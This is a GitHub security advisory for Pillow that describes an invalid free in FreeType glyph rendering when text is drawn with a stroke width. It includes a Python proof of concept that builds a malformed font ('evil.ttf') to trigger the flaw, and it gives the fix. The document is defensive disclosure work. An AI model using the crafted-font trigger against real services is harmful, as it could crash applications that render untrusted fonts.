GitHub Advisoryadvisory · PyPI

GHSA-j4m9-6w36-pw47 Pillow: Invalid free in FreeType glyph rendering when a stroker is active

HIGH Published 2026-10-21 Modified 2026-10-21 Official page ↗
Aliases
CVE-2026-112893
Ecosystem
PyPI
Packages
pillow
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-457, CWE-763
Reviewed
2026-10-21

Affected packages

• PyPI pillow: >= 10.0.0, < 13.0.0 → fixed in 13.0.0

Description

Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. Details `glyph` is declared without a NULL initializer: • `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: • `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: • `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: • `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) loca_long = tt["head"].indexToLocFormat tt.close() raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0] if loca_long: o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw) f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.

Related

Alias · CVE (1)

Weakness · CWE (2)

  • CWE-457 Use of Uninitialized Variable weakness
  • CWE-763 Release of Invalid Pointer or Reference weakness

References